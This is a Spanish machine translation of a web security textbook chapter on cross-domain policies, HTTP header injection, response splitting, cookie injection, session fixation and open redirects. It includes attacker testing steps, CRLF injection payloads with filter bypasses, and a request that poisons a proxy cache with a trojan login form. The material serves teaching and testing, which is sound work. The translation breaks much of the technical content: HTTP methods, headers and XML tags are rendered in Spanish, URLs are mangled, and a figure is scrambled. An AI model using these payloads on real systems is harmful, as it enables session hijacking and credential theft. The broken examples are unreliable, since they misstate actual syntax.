access-from domain=”*” />), cualquier otro sitio puede realizar una interacción
bidireccional, aprovechando las sesiones de los usuarios de la aplicación. Esto permitiría
que cualquier otro dominio recupere todos los datos y realice cualquier acción del usuario.
n Si la aplicación permite el acceso a subdominios u otros dominios utilizados por la misma

organización, la interacción bidireccional es, por supuesto, posible desde esos dominios.
Esto significa que las vulnerabilidades como XSS en esos dominios pueden explotarse
para comprometer el dominio que otorga el permiso. Además, si un atacante puede
comprar publicidad basada en Flash en cualquier dominio permitido, los objetos Flash
que implementa pueden usarse para comprometer el dominio que otorga el permiso.
n Algunos archivos de políticas revelan nombres de host de intranet u otra información confidencial.
que puede ser de utilidad para un atacante.
Otro punto a tener en cuenta es que un objeto Flash puede especificar una URL en el
servidor de destino desde el que se debe descargar el archivo de política. Si un archivo de
política de nivel superior no está presente en la ubicación predeterminada, el navegador Flash
intenta descargar una política desde la URL especificada. Para ser procesada, la respuesta a
esta URL debe contener un archivo de política con formato válido y debe especificar un tipo
XML o MIME basado en texto en el encabezado Content-Type . Actualmente, la mayoría de
los dominios en la web no publican un archivo de política Flash en /crossdomain.xml, tal vez
asumiendo que el comportamiento predeterminado sin política es prohibir cualquier acceso entre dominios.
Sin embargo, esto pasa por alto la posibilidad de que los objetos Flash de terceros especifiquen
una URL personalizada desde la cual descargar una política. Si una aplicación contiene
alguna funcionalidad que un atacante podría aprovechar para colocar un archivo XML arbitrario
en una URL en el dominio de la aplicación, puede ser vulnerable a este ataque.
La política del mismo origen y Silverlight

La política del mismo origen para Silverlight se basa en gran medida en la política que
implementa Flash. Los objetos de Silverlight tienen su origen determinado por el dominio de
la URL desde la que se carga el objeto, no por la URL de la página HTML que carga el objeto.
Una diferencia importante entre Silverlight y Flash es que Silverlight no separa los
orígenes según el protocolo o el puerto, por lo que los objetos cargados a través de HTTP
pueden interactuar con las URL de HTTPS en el mismo dominio.
Silverlight utiliza su propio archivo de políticas entre dominios, ubicado en /clientaccess

policy.xml. Este es un ejemplo del archivo de políticas de Silverlight publicado por www.
microsoft.com:
<?xml version=”1.0” encoding=”utf-8”?> <política-de-acceso> <acceso-

entre-dominios>
<política>
<permitir-desde>
<dominio uri=”http://www.microsoft.com”/> <dominio uri=”http://i.microsoft.com”/

> <dominio uri=”http://i2.microsoft.com”/ > <uri de dominio=”http://
i3.microsoft.com”/> <uri de dominio=”http://i4.microsoft.com”/> <uri de
dominio=”http://img.microsoft.com” />
</permitir-desde>
<grant-to> <ruta
del recurso=”/” include-subpaths=”true”/>
</grant-to> </policy>
</cross-domain-access>
</política-de-acceso>
Las mismas consideraciones que ya se discutieron para el archivo de política entre dominios
de Flash se aplican a Silverlight, con la excepción de que Silverlight no permite que un objeto
especifique una URL no estándar para el archivo de política.
Si el archivo de política de Silverlight no está presente en un servidor, la extensión del
navegador de Silverlight intenta cargar un archivo de política de Flash válido desde la ubicación
predeterminada. Si el archivo está presente, la extensión lo procesa en su lugar.
La política del mismo origen y Java

Java implementa la segregación entre orígenes de una manera que se basa en gran medida en la
política del mismo origen del navegador. Al igual que con otras extensiones de navegador, los
applets de Java tienen su origen determinado por el dominio de la URL desde la que se carga el
applet, no por la URL de la página HTML que carga el objeto.
Una diferencia importante con la política del mismo origen de Java es que otros dominios que
comparten la dirección IP del dominio de origen se consideran del mismo origen en algunas
circunstancias. Esto puede conducir a una interacción entre dominios limitada en algunas
situaciones de alojamiento compartido.
Actualmente, Java no prevé que un dominio publique una política que permita
interacción de otros dominios.
La política del mismo origen y HTML5

Tal como se concibió originalmente, XMLHttpRequest permite que las solicitudes se
envíen solo al mismo origen que la página que invoca. Con HTML5, esta tecnología se
está modificando para permitir la interacción bidireccional con otros dominios, siempre
que los dominios a los que se accede den permiso para hacerlo.
El permiso para la interacción entre dominios se implementa mediante una variedad de nuevos
encabezados HTTP. Cuando un script intenta realizar una solicitud entre dominios mediante
XMLHttpRequest, la forma en que se procesa depende de los detalles de la solicitud:
n Para las solicitudes "normales", el tipo que se puede generar entre dominios utilizando
construcciones HTML existentes, el navegador emite la solicitud e inspecciona los encabezados
de respuesta resultantes para determinar si se debe permitir que el script que invoca acceda a
la respuesta de la solicitud.
n Otras solicitudes que no se pueden generar usando HTML existente, como aquellas
que usan un método HTTP no estándar o Content-Type, o que agregan encabezados
HTTP personalizados, se manejan de manera diferente. El navegador primero realiza
una solicitud de OPCIONES a la URL de destino y luego inspecciona los encabezados
de respuesta para determinar si se debe permitir la solicitud que se está intentando.
En ambos casos, el navegador agrega un encabezado de origen para indicar el dominio de

que se está intentando la solicitud entre dominios:
Origen: http://wahh-app.com
Para identificar dominios que pueden realizar una interacción bidireccional, la

respuesta del servidor incluye el encabezado Access-Control-Allow-Origin , que puede
incluir una lista separada por comas de dominios aceptados y comodines:
Acceso-Control-Permitir-Origen: *
En el segundo caso, donde las solicitudes entre dominios se prevalidan mediante un

solicitud de OPCIONES , se pueden usar encabezados como el siguiente para indicar los detalles de la
solicitud que se intentará:
Método de solicitud de control de acceso: PUT

Encabezados de solicitud de control de acceso: X-PINGOTHER
En respuesta a la solicitud de OPCIONES , el servidor puede usar encabezados como los siguientes
Procediendo a especificar los tipos de solicitudes entre dominios que están permitidas:
Access-Control-Allow-Origin: http://wahh-app.com Access-Control-Allow-

Methods: POST, GET, OPTIONS
Acceso-Control-Permitir-Encabezados: X-PINGOTHER
Control de acceso-Edad máxima: 1728000
PASOS DE HACK
1. Para probar el manejo de una aplicación de solicitudes entre dominios usando

XMLHttpRequest, debe intentar agregar un encabezado de origen que especifique
un dominio diferente y examinar los encabezados de control de acceso que se
devuelven. Las implicaciones de seguridad de permitir el acceso bidireccional
desde cualquier dominio, o desde otros dominios específicos, son las mismas que las
descritas para la política de dominios cruzados de Flash.
2. Si se admite cualquier acceso entre dominios, también debe utilizar las solicitudes
de OPCIONES para comprender exactamente qué encabezados y otros detalles
de la solicitud están permitidos.
Además de la posibilidad de permitir la interacción bidireccional desde dominios externos,

las nuevas características de XMLHttpRequest pueden generar nuevos tipos de ataques que
explotan características particulares de las aplicaciones web o nuevos ataques en general.
Como se describe en el Capítulo 12, algunas aplicaciones utilizan XMLHttpRequest para
realizar solicitudes asincrónicas de archivos que se especifican dentro de un parámetro de
URL o después del identifi cador de fragmento. El archivo recuperado se carga dinámicamente
en un <div> en la página actual. Dado que las solicitudes entre dominios anteriormente no
eran posibles con XMLHttpRequest, no era necesario validar que el elemento solicitado
estaba en el propio dominio de la aplicación. Con la nueva versión de XMLHttpRequest, un
atacante puede especificar una URL en un dominio que controla, por lo que realiza ataques
de inclusión de archivos remotos del lado del cliente contra los usuarios de la aplicación.
En términos más generales, las nuevas características de XMLHttpRequest brindan
nuevas formas para que un sitio web malicioso o comprometido realice ataques a través de
los navegadores de los usuarios visitantes, incluso cuando se niega el acceso entre dominios.
Se ha demostrado el escaneo de puertos entre dominios , utilizando XMLHttpRequest para
realizar intentos de solicitudes de hosts y puertos arbitrarios, y observando diferencias de
tiempo en las respuestas para inferir si el puerto solicitado está abierto, cerrado o filtrado.
Además, XMLHttpRequest se puede usar para entregar ataques de denegación de servicio
distribuidos a una velocidad mucho más rápida de lo que es posible usando métodos más
antiguos para generar solicitudes entre dominios. Si la aplicación de destino niega el acceso
entre dominios, es necesario incrementar un valor en un parámetro de URL para garantizar
que cada solicitud sea para una URL diferente y, por lo tanto, el navegador realmente la emita.
Cruce de dominios con aplicaciones de servicio de proxy

Algunas aplicaciones web disponibles públicamente funcionan efectivamente como
servicios proxy, lo que permite recuperar el contenido de un dominio diferente pero servirlo al
usuario desde dentro de la aplicación web de proxy. Un ejemplo de esto es Google Translate
(GT), que solicita una URL externa específica y devuelve su contenido, como se muestra en la
Figura 13-2. (Aunque el motor de traducción puede modificar el texto dentro de la respuesta
recuperada, el marcado HTML subyacente y cualquier código de script no se modifican).
Figura 13-2: Google Translate se puede usar para solicitar una URL externa y devolver
su contenido, con texto en la respuesta traducido a un idioma específico
Donde esto se vuelve interesante es si se accede a dos dominios externos diferentes a través
de la aplicación GT. Cuando esto sucede, en lo que respecta al navegador , el contenido de
cada dominio externo ahora reside dentro del dominio GT, ya que este es el dominio del que se
recuperó. Dado que los dos conjuntos de contenido residen en el mismo dominio, la interacción
bidireccional entre ellos es posible si esto también se lleva a cabo a través del dominio GT.
Por supuesto, si un usuario inicia sesión en una aplicación externa y luego accede a la
aplicación a través de GT, su navegador trata correctamente a GT como un dominio diferente.
Por lo tanto, las cookies del usuario para la aplicación externa no se envían en las solicitudes a
través de GT, ni es posible ninguna otra interacción. Por lo tanto, un sitio web malicioso no
puede aprovechar fácilmente GT para comprometer las sesiones de los usuarios en otras aplicaciones.
Sin embargo, el comportamiento de los servicios de proxy como GT puede permitir
que un sitio web realice una interacción bidireccional con las áreas públicas no
autenticadas de una aplicación en un dominio diferente. Un ejemplo de este ataque es Jikto, un
Gusano de prueba de concepto que puede propagarse entre aplicaciones web encontrando
y explotando vulnerabilidades XSS persistentes en ellas. En esencia, el código de Jikto
funciona de la siguiente manera: n Cuando se ejecuta por primera vez, el script verifica si se
está ejecutando en el dominio GT.

De lo contrario, vuelve a cargar la URL actual a través del dominio GT, para transferirse
efectivamente a ese dominio.
n El script solicita contenido de un dominio externo a través de GT. Dado que el script en
sí se ejecuta en el dominio GT, puede realizar una interacción bidireccional con
contenido público en cualquier otro dominio a través de GT. n La secuencia de
comandos implementa un escáner web básico en JavaScript para sondear el dominio
externo en busca de fallas XSS persistentes. Dichas vulnerabilidades pueden surgir
dentro de las funciones de acceso público, como los tableros de mensajes. n Cuando
se identifica una vulnerabilidad adecuada, el script la explota para cargar
una copia de sí mismo en el dominio externo.
n Cuando otro usuario visita el dominio externo comprometido, el script se

ejecutado, y el proceso se repite.
El gusano Jikto busca explotar fallas XSS para autopropagarse. Sin embargo, la técnica de
ataque básica de fusionar dominios a través de servicios de proxy no depende de ninguna
vulnerabilidad en las aplicaciones externas individuales a las que se dirigen, y no se puede
defender de manera realista. Sin embargo, es de interés como técnica de ataque por derecho
propio. También es un tema útil para evaluar su comprensión de cómo se aplica la política del
mismo origen en situaciones inusuales.
Otros ataques de inyección del lado del cliente
Muchos de los ataques que hemos examinado hasta ahora implican aprovechar alguna función
de la aplicación para inyectar contenido manipulado en las respuestas de la aplicación. El mejor
ejemplo de esto son los ataques XSS. También hemos visto la técnica utilizada para capturar
datos entre dominios a través de HTML y CSS inyectados. Esta sección examina una variedad
de otros ataques que involucran la inyección en contextos del lado del cliente.
Inyección de encabezado HTTP
Las vulnerabilidades de inyección de encabezado HTTP surgen cuando los datos controlables
por el usuario se insertan de manera no segura en un encabezado HTTP devuelto por la
aplicación . Si un atacante puede inyectar caracteres de nueva línea en el encabezado que
controla, puede insertar encabezados HTTP adicionales en la respuesta y puede escribir
contenido arbitrario en el cuerpo de la respuesta.
Esta vulnerabilidad surge más comúnmente en relación con los encabezados de ubicación y
configuración de cookies , pero es posible que ocurra para cualquier encabezado HTTP.
Anteriormente vio cómo una aplicación puede tomar la entrada proporcionada por el usuario e insertarla
en el encabezado Ubicación de una respuesta 3xx. De manera similar, algunas aplicaciones

toman la entrada proporcionada por el usuario y la insertan en el valor de una cookie. Por ejemplo:
GET /settings/12/Default.aspx?Idioma=Inglés HTTP/1.1


Establecer-Cookie: PreferredLanguage=English
...
En cualquiera de estos casos, es posible que un atacante construya una solicitud

manipulada utilizando los caracteres de retorno de carro (0x0d) y/o salto de línea (0x0a)
para inyectar una nueva línea en el encabezado que controla y, por lo tanto, insertar
más datos. en la siguiente línea:
GET /settings/12/Default.aspx?Language=English%0d%0aFoo:+bar HTTP/1.1


Foo: barra
...
Explotación de vulnerabilidades de inyección de encabezado
Las posibles vulnerabilidades de inyección de encabezado se pueden detectar de manera

similar a las vulnerabilidades XSS, ya que busca casos en los que la entrada controlable por el
usuario reaparece en cualquier lugar dentro de los encabezados HTTP devueltos por la
aplicación . Por lo tanto, en el curso de sondear la aplicación en busca de vulnerabilidades XSS,
también debe identificar cualquier ubicación donde la aplicación pueda ser vulnerable a la
inyección de encabezado.
PASOS DE HACK
1. Para cada instancia potencialmente vulnerable en la que la entrada

controlable por el usuario se copia en un encabezado HTTP, verifique si la
aplicación acepta datos que contengan caracteres de retorno de carro (%0d)
y salto de línea (%0a) codificados en URL, y si estos se devuelven sin desinfectar en su respuesta.
2. Tenga en cuenta que está buscando los caracteres de nueva línea reales para
que aparezcan en la respuesta del servidor, no sus equivalentes codificados
en URL. Si ve la respuesta en un proxy de interceptación, debería ver una
línea adicional en los encabezados HTTP si el ataque fue exitoso.
3. Si solo se devuelve uno de los dos caracteres de nueva línea en el servidor

respuestas, aún puede ser posible crear un exploit que funcione, según el
contexto.
4. Si encuentra que la aplicación está bloqueando o desinfectando el carácter de nueva línea

ters, intente las siguientes derivaciones:
foo%00%0d%0abar
foo%250d%250abar
foo%%0d0d%%0a0abar
ADVERTENCIA Problemas como estos a veces se pasan por alto debido a la dependencia
excesiva del código fuente HTML y/o los complementos del navegador para obtener
información, que no muestran los encabezados de respuesta. Asegúrese de leer los
encabezados de respuesta HTTP con una herramienta de proxy de interceptación.
Si es posible inyectar encabezados arbitrarios y contenido del cuerpo del mensaje en la

respuesta, este comportamiento se puede usar para atacar a otros usuarios de la aplicación de
varias maneras.
¡INTENTALO!
http://mdsec.net/settings/12/
http://mdsec.net/settings/31/
Inyectando Cookies
Se puede construir una URL que establezca cookies arbitrarias dentro del navegador de cualquier
usuario que lo solicite:
GET /settings/12/Default.aspx?Language=English%0d%0aSet
Cookie:+SessId%3d120a12f98e8; HTTP/1.1

Establecer-Cookie: SessId=120a12f98e8;
...
Si se configuran adecuadamente, estas cookies pueden persistir en diferentes sesiones del

navegador. Se puede inducir a los usuarios objetivo a acceder a la URL maliciosa a través de los
mismos mecanismos de entrega que se describieron para las vulnerabilidades XSS reflejadas
(correo electrónico, sitio web de terceros, etc.).
Envío de otros ataques

Debido a que la inyección de encabezado HTTP permite que un atacante controle todo el cuerpo
de una respuesta, se puede utilizar como mecanismo de envío para prácticamente cualquier
ataque contra otros usuarios, incluida la desfiguración de sitios web virtuales, la inyección de
scripts, la redirección arbitraria y los ataques contra ActiveX. controles, y así sucesivamente.
División de respuesta HTTP

Esta técnica de ataque busca envenenar el caché de un servidor proxy con contenido
malicioso para comprometer a otros usuarios que acceden a la aplicación a través del proxy.
Por ejemplo, si todos los usuarios de una red corporativa acceden a una aplicación a través
de un proxy de almacenamiento en caché, el atacante puede atacarlos inyectando contenido
malicioso en el caché del proxy, que se muestra a cualquier usuario que solicite la página afectada.
Un atacante puede explotar una vulnerabilidad de inyección de encabezado para entregar un
ataque de división de respuesta siguiendo estos pasos:
1. El atacante elige una página de la aplicación que quiere envenenar dentro del
caché del proxy. Por ejemplo, podría reemplazar la página en /admin/ con un
formulario de inicio de sesión troyano que envía las credenciales del usuario al atacante.
servidor.
2. El atacante localiza una vulnerabilidad de inyección de encabezado y formula una solicitud

que inyecta un cuerpo HTTP completo en la respuesta, además de un segundo conjunto de
encabezados de respuesta y un segundo cuerpo de respuesta. El segundo cuerpo de la
respuesta contiene el código fuente HTML del formulario de inicio de sesión del troyano del atacante.
El efecto es que la respuesta del servidor se ve exactamente como dos respuestas HTTP
separadas encadenadas. Aquí es donde la técnica de ataque recibe su nombre, porque el
atacante efectivamente ha "dividido" la respuesta del servidor en dos respuestas separadas.
Por ejemplo:
GET /settings/12/Default.aspx?Language=English%0d%0aContent-Length:+22
%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0a
Longitud del contenido:+2307%0d%0a%0d%0a<html>%0d%0a<head>%0d%0a<title>

Administrador+inicio de sesión</title>0d%0a[...URL larga...] HTTP/1.1
<html>
Foo
</html>
<html>
<cabeza>
<title>Inicio de sesión del administrador</title>
...
3. El atacante abre una conexión TCP al servidor proxy y envía su solicitud

manipulada, seguida inmediatamente por una solicitud para envenenar la
página. La canalización de solicitudes de esta manera es legal en el protocolo HTTP:
OBTENER http://mdsec.net/settings/12/Default.aspx?Language=English%0d%0a
Longitud del contenido:+22%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/
1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0d%0a<head>%0d%0a <title>Administrador+inicio
de sesión</title>0d%0a[ ...URL larga...] HTTP/1.1
Conexión proxy: Keep-alive
OBTENGA http://mdsec.net/admin/HTTP/1.1
Conexión Proxy: Cerrar
4. El servidor proxy abre una conexión TCP a la aplicación y envía las dos
solicitudes canalizadas de la misma manera.
5. La aplicación responde a la primera solicitud con el contenido HTTP inyectado por el atacante,
que se ve exactamente como dos respuestas HTTP separadas.
6. El servidor proxy recibe estas dos respuestas aparentes e interpreta la segunda como la
respuesta a la segunda solicitud canalizada del atacante, que era para la URL http://mdsec.net/
admin/. El proxy almacena en caché esta segunda respuesta como el contenido de esta URL.
(Si el proxy ya almacenó una copia en caché de la página, el atacante puede hacer que vuelva
a solicitar la URL y actualice su caché con la nueva versión insertando un encabezado If-
Modified-Since apropiado en su segunda solicitud y un Last-Modified encabezado en la
respuesta inyectada).
7. La aplicación emite su respuesta real a la segunda solicitud del atacante, que contiene el
contenido auténtico de la URL http://mdsec.net/admin/.
El servidor proxy no reconoce esto como una respuesta a una solicitud que realmente emitió y,
por lo tanto, lo descarta.
8. Un usuario accede a http://mdsec.net/admin/ a través del servidor proxy y recibe el contenido de

esta URL que se almacenó en la memoria caché del proxy. Este contenido es, de hecho, el
formulario de inicio de sesión del troyano del atacante, por lo que las credenciales del usuario
se ven comprometidas.
Los pasos involucrados en este ataque se ilustran en la Figura 13-3.
GET/home.php?uid=123 provoca una

Solicitud 1 HTTP/1.1 Aceptar
%0d%0aContent-Length... respuesta dividida
Respuesta a la solicitud 1
en caché
Solicitud 2 OBTENER/admin HTTP/1.1 Aceptar
ignorado HTTP/1.1 Aceptar Respuesta a la solicitud 2
Figura 13-3: Los pasos involucrados en un ataque de división de respuesta HTTP que envenena la
caché de un servidor proxy
Prevención de vulnerabilidades de inyección de encabezado
La forma más eficaz de evitar las vulnerabilidades de inyección de encabezados HTTP es no insertar
entradas controlables por el usuario en los encabezados HTTP que devuelve la aplicación. Como vio con
las vulnerabilidades de redirección arbitraria, por lo general hay disponibles alternativas más seguras a
este comportamiento.
Si se considera inevitable insertar datos controlables por el usuario en los encabezados HTTP ,
la aplicación debe emplear un enfoque doble de defensa en profundidad para evitar que surjan
vulnerabilidades:
n Validación de entrada: la aplicación debe realizar una validación dependiente

del contexto de los datos que se insertan de la manera más estricta posible.
Por ejemplo, si el valor de una cookie se establece en función de la entrada del usuario,
puede ser adecuado restringirlo solo a caracteres alfabéticos y a una longitud máxima de 6
bytes.
n Validación de salida: todos los datos que se insertan en los encabezados deben filtrarse para
detectar caracteres potencialmente maliciosos. En la práctica, cualquier carácter con un código
ASCII inferior a 0x20 debe considerarse sospechoso y la solicitud debe rechazarse.
Las aplicaciones pueden evitar que las vulnerabilidades de inyección de encabezado restantes
se utilicen para envenenar los cachés del servidor proxy mediante el uso de HTTPS para todo el
contenido de la aplicación, siempre que la aplicación no emplee un servidor proxy inverso de
almacenamiento en caché detrás de su terminador SSL.
Inyección de cookies
En los ataques de inyección de cookies, el atacante aprovecha alguna característica de la funcionalidad
de una aplicación, o el comportamiento del navegador, para configurar o modificar una cookie dentro del
navegador de un usuario víctima.
Un atacante puede realizar un ataque de inyección de cookies de varias maneras:
n Algunas aplicaciones contienen funciones que toman un nombre y un valor en los parámetros
de la solicitud y los configuran dentro de una cookie en la respuesta. Un ejemplo común
donde esto ocurre es en las funciones para conservar las preferencias del usuario.
n Como ya se describió, si existe una vulnerabilidad de inyección de encabezado HTTP, se

puede aprovechar para inyectar encabezados Set-Cookie arbitrarios .
n Las vulnerabilidades XSS en dominios relacionados se pueden aprovechar para establecer

una cookie en un dominio objetivo. Todos los subdominios del propio dominio de destino, y
de sus dominios principales y sus subdominios, se pueden usar de esta manera. n Se puede
usar un ataque intermediario activo (por ejemplo, contra usuarios en una red inalámbrica pública)
para configurar cookies para dominios arbitrarios, incluso
si la aplicación objetivo usa solo HTTPS y sus cookies están marcadas como
seguras. Este tipo de ataque se describe con más detalle más adelante en este capítulo.
Si un atacante puede configurar una cookie arbitraria, esto se puede aprovechar de varias
maneras para comprometer al usuario objetivo:
n Según la aplicación, establecer una cookie específica puede interferir

con la lógica de la aplicación en perjuicio del usuario (por ejemplo,
UseHttps=false).
n Dado que las cookies generalmente las establece solo la propia aplicación, el código del lado
del cliente puede confiar en ellas . Este código puede procesar los valores de las cookies de
formas que son peligrosas para los datos controlables por el atacante, lo que lleva a la
inyección de JavaScript o XSS basado en DOM.
n En lugar de vincular tokens anti-CSRF a la sesión de un usuario, algunas aplicaciones funcionan

colocando el token tanto en una cookie como en un parámetro de solicitud y luego comparan
estos valores para evitar ataques CSRF. Si el atacante controla tanto la cookie como el valor
del parámetro, se puede eludir esta defensa. n Como se describió anteriormente en este
capítulo, algunos XSS persistentes del mismo usuario pueden explotarse a través de un ataque
CSRF contra la función de inicio de sesión para iniciar sesión en la cuenta del atacante y, por
lo tanto, acceder a la carga útil XSS. Si la página de inicio de sesión está sólidamente protegida
contra CSRF, este ataque falla. Sin embargo, si el atacante puede configurar una cookie
arbitraria en el navegador del usuario, puede realizar el mismo ataque pasando su propio token
de sesión directamente al usuario, evitando la necesidad de un ataque CSRF contra la función
de inicio de sesión. n La configuración de cookies arbitrarias puede permitir que se identifiquen
vulnerabilidades de fijación de sesión.

explotados, como se describe en la siguiente sección.
Fijación de sesión
Las vulnerabilidades de fijación de sesión suelen surgir cuando una aplicación crea una sesión
anónima para cada usuario cuando accede por primera vez a la aplicación. Si la aplicación contiene
una función de inicio de sesión, esta sesión anónima se crea antes del inicio de sesión y luego se
actualiza a una sesión autenticada después de que el usuario inicia sesión.
El mismo token que inicialmente no otorga ningún acceso especial, luego permite el acceso privilegiado
dentro del contexto de seguridad del usuario autenticado.
En un ataque de secuestro de sesión estándar, el atacante debe usar algún medio para capturar el
token de sesión de un usuario de la aplicación. En un ataque de fijación de sesión, por otro lado, el
atacante primero obtiene un token anónimo directamente de la aplicación y luego utiliza algún medio
para fijar este token dentro del navegador de la víctima. Después de que el usuario haya iniciado
sesión, el atacante puede usar el token para secuestrar la sesión del usuario.
La figura 13-4 muestra los pasos involucrados en un ataque de fijación de sesión exitoso.
Solicitud
El
1.
yrecibe
token
sesió
solicit
login.
ataca
de
un
4.
secue
usuar
usua
sesió
ataca
usan
latoke
que
mis
del
el
el simbólico
atacante
usando
el
en el
registros
de
3.
recibido
Usuario
2. El atacante alimenta el token de sesión al usuario
Usuario Agresor
Figura 13-4: Los pasos involucrados en un ataque de fijación de sesión
La etapa clave en este ataque es, por supuesto, el punto en el que el atacante
alimenta a la víctima con el token de sesión que ha adquirido, lo que hace que el
navegador de la víctima lo use. Las formas en que esto se puede hacer dependen del
mecanismo utilizado para transmitir tokens de sesión:
n Si se utilizan cookies HTTP, el atacante puede intentar utilizar una de las técnicas de
inyección de cookies, tal como se describe en la sección anterior.
n Si los tokens de sesión se transmiten dentro de un parámetro de URL, el atacante
puede simplemente enviar a la víctima la misma URL que le envió la aplicación:
https://wahh-app.com/login.php?SessId=12d1a1f856ef224ab424c2454208
n Varios servidores de aplicaciones aceptan el uso de sus tokens de sesión dentro de

la URL, delimitada por un punto y coma. En algunas aplicaciones esto se hace por
defecto, y en otras, la aplicación tolera el uso explícito de esta manera incluso si los
servidores no se comportan de esta manera por defecto:
http://wahh-app.com/store/product.do;jsessionid=739105723F7AEE6ABC2
13F812C184204.ASTPESD2
n Si la aplicación usa campos ocultos en formularios HTML para transmitir tokens de

sesión, el atacante puede usar un ataque CSRF para introducir su token en el
navegador del usuario.
Las vulnerabilidades de fijación de sesión también pueden existir en aplicaciones que no

contienen la funcionalidad de inicio de sesión. Por ejemplo, una aplicación puede permitir anónimo
los usuarios pueden navegar por un catálogo de productos, colocar artículos en un carrito de
compras, pagar enviando datos personales y detalles de pago, y luego revisar toda esta
información en una página Confirmar pedido. En esta situación, un atacante puede arreglar
un token de sesión anónimo con el navegador de la víctima, esperar a que ese usuario haga
un pedido y envíe información confidencial, y luego acceder a la página Confirmar pedido
usando el token para capturar los detalles del usuario.
Algunas aplicaciones web y servidores web aceptan tokens arbitrarios enviados por los
usuarios, incluso si estos no fueron emitidos previamente por el propio servidor. Cuando se
recibe un token no reconocido, el servidor simplemente crea una nueva sesión para él y lo
maneja exactamente como si fuera un nuevo token generado por el servidor.
Los servidores Microsoft IIS y Allaire ColdFusion han sido vulnerables a esta debilidad en el
pasado.
Cuando una aplicación o un servidor se comporta de esta manera, los ataques basados
en la fijación de sesiones se facilitan considerablemente porque el atacante no necesita
realizar ningún paso para asegurarse de que los tokens fijados en los navegadores de los
usuarios objetivo son actualmente válidos. El atacante puede simplemente elegir un token
arbitrario y distribuirlo lo más ampliamente posible (por ejemplo, enviando por correo
electrónico una URL que contiene el token a usuarios individuales, listas de correo, etc.).
Luego, el atacante puede sondear periódicamente una página protegida dentro de la aplicación
(como Mis detalles) para detectar cuándo una víctima ha usado el token para iniciar sesión.
Incluso si un usuario objetivo no sigue la URL durante varios meses, un atacante determinado
aún puede ser capaz de secuestrar su sesión.
Búsqueda y explotación de vulnerabilidades de fijación de

sesión Si la aplicación admite la autenticación, debe revisar cómo maneja los tokens de
sesión en relación con el inicio de sesión. La aplicación puede ser vulnerable de dos formas:
n La aplicación emite un token de sesión anónimo para cada usuario no autenticado.

Cuando el usuario inicia sesión, no se emite ningún token nuevo. En su lugar, su
sesión existente se actualiza a una sesión autenticada. Este comportamiento es común
cuando la aplicación utiliza el mecanismo de gestión de sesiones predeterminado del
servidor de aplicaciones.
n La aplicación no emite tokens a usuarios anónimos y solo se emite un token después
de un inicio de sesión exitoso. Sin embargo, si un usuario accede a la función de inicio
de sesión utilizando un token autenticado e inicia sesión con diferentes credenciales,
no se emite ningún token nuevo. En su lugar, el usuario asociado con la sesión
previamente autenticada se cambia a la identidad del segundo usuario.
En ambos casos, un atacante puede obtener un token de sesión válido (ya sea simplemente
solicitando la página de inicio de sesión o realizando un inicio de sesión con sus propias
credenciales ) y enviarlo a un usuario objetivo. Cuando ese usuario inicia sesión con el token,
el atacante puede secuestrar la sesión del usuario.
PASOS DE HACK
1. Obtenga un token válido por cualquier medio que la aplicación le permita

obtener uno
2. Acceda al formulario de inicio de sesión y realice un inicio de sesión con este token.
3. Si el inicio de sesión es exitoso y la aplicación no emite un nuevo token, es vulnerable a la

fijación de la sesión.
Si la aplicación no admite autenticación pero permite a los usuarios enviar y luego

revisar información confidencial, debe verificar si se usa el mismo token de sesión
antes y después del envío inicial de información específica del usuario. Si es así, un
atacante puede obtener un token y dárselo a un usuario objetivo. Cuando el usuario
envía detalles confidenciales, el atacante puede usar el token para ver la información del usuario.
PASOS DE HACK
1. Obtenga un token de sesión como un usuario completamente anónimo y luego recorra el

proceso de envío de datos confidenciales, hasta cualquier página en la que se muestren
los datos confidenciales.
2. Si ahora se puede usar el mismo token obtenido originalmente para recuperar los datos
confidenciales, la aplicación es vulnerable a la fijación de la sesión.
3. Si se identifica algún tipo de fijación de sesión, verifique si el servidor

acepta tokens arbitrarios que no ha emitido previamente. Si lo hace, la capacidad del
vulnerable es considerablemente más fácil de explotar durante un período prolongado.
Prevención de vulnerabilidades de reparación de sesiones
En cualquier momento en que un usuario que interactúa con la aplicación pasa de ser anónimo a ser
identificado, la aplicación debe emitir un token de sesión nuevo.
Esto se aplica tanto a un inicio de sesión exitoso como a los casos en los que un usuario anónimo
primero envía información personal u otra información confidencial.
Como medida de defensa en profundidad para proteger aún más contra los ataques de fijación de
sesión, muchas aplicaciones críticas para la seguridad emplean tokens por página para complementar
el token de sesión principal. Esta técnica puede frustrar la mayoría de los tipos de ataques de
secuestro de sesión. Consulte el Capítulo 7 para obtener más detalles.
La aplicación no debe aceptar tokens de sesión arbitrarios que no reconozca
como emitidos por ella misma. El token debe cancelarse inmediatamente dentro
del navegador y el usuario debe regresar a la página de inicio de la aplicación.
Vulnerabilidades de redirección abierta

Las vulnerabilidades de redirección abierta surgen cuando una aplicación toma una entrada
controlable por el usuario y la usa para realizar una redirección, instruyendo al navegador del usuario para
visite una URL diferente a la solicitada. Estas vulnerabilidades suelen ser de mucho menos interés para
un atacante que las secuencias de comandos entre sitios, que se pueden utilizar para realizar una gama
mucho más amplia de acciones maliciosas. Los errores de redirección abierta se utilizan principalmente
en ataques de phishing en los que un atacante busca inducir a una víctima a visitar un sitio web
falsificado e ingresar detalles confidenciales. Una vulnerabilidad de redirección puede otorgar credibilidad
a las propuestas del atacante a las víctimas potenciales, ya que le permite construir una URL que apunta
al sitio web auténtico al que se dirige. Por lo tanto, esta URL es más convincente y cualquiera que la
visite es redirigido silenciosamente a un sitio web que controla el atacante.
Dicho esto, la mayoría de los ataques de estilo phishing del mundo real utilizan otras
técnicas para ganar credibilidad que están fuera del control de la aplicación a la que se dirigen.
Los ejemplos incluyen el registro de nombres de dominio similares, el uso de subdominios que parecen
oficiales y la creación de una simple discrepancia entre el texto de anclaje y las URL de destino de los
enlaces en los correos electrónicos HTML. La investigación ha indicado que la mayoría de los usuarios
no pueden o no están inclinados a tomar decisiones de seguridad basadas en la estructura de URL. Por
estas razones, el valor para los phishermen de un típico error de redirección abierta es bastante marginal.
